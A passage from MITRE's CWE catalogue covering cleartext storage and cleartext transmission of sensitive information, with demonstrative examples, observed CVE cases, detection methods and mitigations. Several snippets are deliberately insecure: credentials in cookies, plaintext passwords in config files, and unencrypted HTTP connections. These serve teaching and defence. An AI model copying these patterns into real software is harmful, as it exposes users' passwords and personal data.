Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code excerpt stores a plaintext user account ID in a browser cookie.

(bad code)
Example Language: Java 
response.addCookie( new Cookie("userAccountID", acctID);

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.



Example 2


This code writes a user's login information to a cookie so the user does not have to login again later.

(bad code)
Example Language: PHP 
function persistLogin($username, $password){
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).



Example 3


The following code attempts to establish a connection, read in a password, then store it to a buffer.

(bad code)
Example Language: C 
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.



Example 4


The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.



Example 5


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.



Example 6


In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)
Example Language: Other 
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)
Example Language: Other 
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]


Example 7


Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.

(bad code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption

The result (edited and formatted for readability) might be:

(bad code)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Storage

However, the empty string under RequireInfrastructureEncryption indicates this service was not enabled at the time of creation, because the -RequireInfrastructureEncryption argument was not specified in the command.

Including the -RequireInfrastructureEncryption argument addresses the issue:

(good code)
Example Language: Shell 
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption

This produces the report:

(result)
Example Language: Other 
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount

Name State Source RequireInfrastructureEncryption
testscope Enabled Microsoft.Keyvault True

In a scenario where both software and hardware layer encryption is required ("double encryption"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.
password and username stored in cleartext in a cookie
password stored in cleartext in a file with insecure permissions
chat program disables SSL in some circumstances even when the user says to use SSL.
Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
storage of unencrypted passwords in a database
storage of unencrypted passwords in a database
product stores a password in cleartext in memory
storage of a secret key in cleartext in a temporary file
SCADA product uses HTTP Basic Authentication, which is not encrypted
login credentials stored unencrypted in a registry key
Plaintext credentials in world-readable file.
Password in cleartext in config file.
Password in cleartext in config file.
Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
Plaintext storage of private key and passphrase in log file when user imports the key.
Admin password in plaintext in a cookie.
Default configuration has cleartext usernames/passwords in cookie.
Usernames/passwords in cleartext in cookies.
Authentication information stored in cleartext in a cookie.
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 816 OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

Other

When organizations adopt cloud services, it can be easier for attackers to access the data from anywhere on the Internet.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Storage of Sensitive Information
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 4-2 Req CR 4.1 a)
ISA/IEC 62443 Part 3-3 Req SR 4.1
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13.
<https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. (URL validated: 2023-04-07)
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20.
<https://www.wizcase.com/blog/us-municipality-breach-report/>.
[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22.
<https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.
[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022.
<https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. (URL validated: 2023-04-07)
[REF-1299] Microsoft. "Azure encryption overview". 2022-08-18.
<https://learn.microsoft.com/en-us/azure/security/fundamentals/encryption-overview>. (URL validated: 2022-10-11)
[REF-1301] Google Cloud. "Default encryption at rest". 2022-10-11.
<https://cloud.google.com/docs/security/encryption/default-encryption>. (URL validated: 2022-10-11)
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.2. 2022-08-16.
<https://www.cisecurity.org/benchmark/azure>. (URL validated: 2023-01-19)
[REF-1310] Microsoft. "Enable infrastructure encryption for double encryption of data". 2022-07-14.
<https://learn.microsoft.com/en-us/azure/storage/common/infrastructure-encryption-enable>. (URL validated: 2023-01-24)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Other_Notes, Potential_Mitigations
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Taxonomy_Mappings
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, References, Relationships
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2018-03-27 CWE Content Team MITRE
updated References, Relationships, Type
2018-01-23 CWE Content Team MITRE
updated Abstraction, Relationships
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2013-07-17 CWE Content Team MITRE
updated Description, Relationships, Terminology_Notes
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2012-05-11 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-06-21 CWE Content Team MITRE
updated Relationships
2010-02-16 CWE Content Team MITRE
updated References
2009-01-12 CWE Content Team MITRE
updated Description, Name
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Plaintext Storage of Sensitive Information
Back to top

CWE-319: Cleartext Transmission of Sensitive Information

Weakness ID: 319
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
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+ Description
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors. Diagram for CWE-319
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data; Modify Files or Directories

Scope: Integrity, Confidentiality

Anyone can read the information by gaining access to the channel being used for communication. Many communication channels can be "sniffed" (monitored) by adversaries during data transmission. For example, in networking, packets can traverse many intermediary nodes from the source to the destination, whether across the internet, an internal network, the cloud, etc. Some actors might have privileged access to a network interface or any link along the channel, such as a router, but they might not be authorized to collect the underlying data. As a result, network traffic could be sniffed by adversaries, spilling security-critical data.

Read Application Data; Modify Files or Directories; Other

Scope: Integrity, Confidentiality

When full communications are recorded or logged, such as with a packet dump, an adversary could attempt to obtain the dump long after the transmission has occurred and try to "sniff" the cleartext from the recorded communications in the dump itself. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.

Implementation
When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

Implementation
When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.

Testing
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Operation
Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 5 J2EE Misconfiguration: Data Transmission Without Encryption
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1428 Reliance on HTTP instead of HTTPS
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 199 Information Management Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 311 Missing Encryption of Sensitive Data
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1013 Encrypt Data
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1207 Debug and Test Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and Design For hardware, this may be introduced when design does not plan for an attacker having physical access while a legitimate user is remotely operating the device.
Operation
System Configuration
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

Class: System on Chip (Undetermined Prevalence)

Test/Debug Hardware (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)
Example Language: Java 
try {
URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();
}
catch (IOException e) {
//...
}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.



Example 2


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission of sensitive information in their OT products.



Example 3


A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed.



Example 4


The following Azure CLI command lists the properties of a particular storage account:

(informative)
Example Language: Shell 
az storage account show -g {ResourceGroupName} -n {StorageAccountName}

The JSON result might be:

(bad code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": false,
"type": "Microsoft.Storage/storageAccounts"
}

The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).

Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:

(good code)
Example Language: Shell 
az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true

The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:

(good code)
Example Language: JSON 
{
"name": "{StorageAccountName}",
"enableHttpsTrafficOnly": true,
"type": "Microsoft.Storage/storageAccounts"
}

Note: to enable secure transfer using Azure's Portal instead of the command line:

  1. Open the Create storage account pane in the Azure portal.
  2. In the Advanced page, select the Enable secure transfer checkbox.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens.
Building Controller uses a protocol that transmits authentication credentials in plaintext.
Programmable Logic Controller (PLC) sends password in plaintext.
Passwords transmitted in cleartext.
Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
Product sends password hash in cleartext in violation of intended policy.
Remote management feature sends sensitive information including passwords in cleartext.
Backup routine sends password in cleartext in email.
Product transmits Blowfish encryption key in cleartext.
Printer sends configuration information, including administrative password, in cleartext.
Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
Product sends passwords in cleartext to a log server.
Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
+ Detection Methods
Method Details

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 751 2009 Top 25 - Insecure Interaction Between Components
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 818 OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 858 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 934 OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1029 OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1148 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1346 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1402 Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Applicable communication channels are not limited to software products. Applicable channels include hardware-specific technologies such as internal hardware networks and external debug channels, supporting remote JTAG debugging. When mitigations are not applied to combat adversaries within the product's threat model, this weakness significantly lowers the difficulty of exploitation by such adversaries.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Plaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011) SEC06-J Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
The CERT Oracle Secure Coding Standard for Java (2011) SER02-J Sign then seal sensitive objects before sending them outside a trust boundary
Software Fault Patterns SFP23 Exposed Data
ISA/IEC 62443 Part 3-3 Req SR 4.1
ISA/IEC 62443 Part 4-2 Req CR 4.1B
+ References
[REF-271] OWASP. "Top 10 2007-Insecure Communications". 2007.
<http://www.owasp.org/index.php/Top_10_2007-A9>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 22: Failing to Protect Network Traffic." Page 337. McGraw-Hill. 2010.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13.
<https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. (URL validated: 2023-04-07)
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Sections 3.1 and 3.10. 2022-08-16.
<https://www.cisecurity.org/benchmark/azure>. (URL validated: 2023-01-19)
[REF-1309] Microsoft. "Require secure transfer to ensure secure connections". 2022-07-24.
<https://learn.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer>. (URL validated: 2023-01-24)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-01-24 Accellera IP Security Assurance (IPSA) Working Group Accellera Systems Initiative
Submitted original contents of CWE-1324 and reviewed its integration into this entry.
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Other_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Description, Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2022-06-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships, Type
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated References, Relationships, Type
2018-01-23 CWE Content Team MITRE
updated Abstraction
2017-11-08 CWE Content Team MITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2014-06-23 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Applicable_Platforms, References
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Potential_Mitigations
2010-12-13 CWE Content Team MITRE
updated Observed_Examples, Related_Attack_Patterns
2010-06-21 CWE Content Team MITRE
updated Detection_Factors, Relationships
2010-04-05 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Time_of_Introduction
2010-02-16 CWE Content Team MITRE
updated References
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
